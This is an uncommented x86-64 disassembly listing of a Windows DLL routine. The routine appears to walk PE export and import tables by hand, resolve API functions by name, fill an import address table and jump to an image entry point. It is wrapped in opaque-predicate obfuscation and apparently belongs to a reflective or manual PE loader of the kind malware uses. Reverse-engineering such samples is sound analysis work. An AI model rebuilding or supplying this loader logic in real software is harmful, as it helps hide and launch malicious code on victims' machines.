mov ebx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rbx, r9
add rcx, r9
mov esi, dword [rbx]
add rsi, r9
mov rdi, r13
movzx eax, byte [rdi]
movzx edx, byte [rsi]
test al, al
je 0x1800022bd
add rdi, 1
add rsi, 1
cmp al, dl
je 0x1800022a7
cmp al, dl
je 0x1800022cb
add rbx, 4
add rcx, 2
jmp 0x18000229f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
add rsp, 0x20
mov r15, rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800023b0
test edx, edx
je 0x1800023b0
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.1800025e0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000233e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002517
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000236d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002519
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rbx, r9
add rcx, r9
mov esi, dword [rbx]
add rsi, r9
mov rdi, r13
movzx eax, byte [rdi]
movzx edx, byte [rsi]
test al, al
je 0x18000239e
add rdi, 1
add rsi, 1
cmp al, dl
je 0x180002388
cmp al, dl
je 0x18000221b
add rbx, 4
add rcx, 2
jmp 0x180002380
cmp ecx, 0xa
jl 0x1800023bd
test edx, edx
jne 0x18000251b
mov rdx, qword [rbp - 0x18]
mov r12d, dword [rdx]
mov edx, dword [rdx + 0x10]
add r12, r14
add rdx, r14
mov qword [rbp - 0x10], rdx
mov rdx, qword [r12]
test rdx, rdx
je 0x1800024f1
mov rax, qword [rbp - 0x20]
add rax, rdx
test rdx, rdx
movzx ecx, dx
cmovns rcx, rax
mov qword [rbp - 0x28], rcx
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.1800025e0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002425
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000251d
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002454
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000251f
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov esi, dword [rdx]
add rsi, r9
mov rdi, qword [rbp - 0x30]
movzx eax, byte [rdi]
movzx ebx, byte [rsi]
test al, al
je 0x180002486
add rdi, 1
add rsi, 1
cmp al, bl
je 0x180002470
cmp al, bl
je 0x180002494
add rdx, 4
add rcx, 2
jmp 0x180002467
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, qword [rbp - 0x28]
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800024d5
test edx, edx
jne 0x180002521
add r12, 8
add qword [rbp - 0x10], 8
cmp ecx, 0xa
jl 0x1800023d1
test edx, edx
je 0x1800023d1
jmp 0x18000251b
add qword [rbp - 0x18], 0x14
cmp ecx, 0xa
jl 0x180002201
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002201
jmp 0x1800021e6
jmp 0x180002513
jmp 0x180002515
jmp 0x180002517
jmp 0x180002519
jmp 0x18000251b
jmp 0x18000251d
jmp 0x18000251f
jmp 0x180002521
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800025c9
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000257a
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000257a
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x1800025a8
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002566
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jge 0x180002523
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret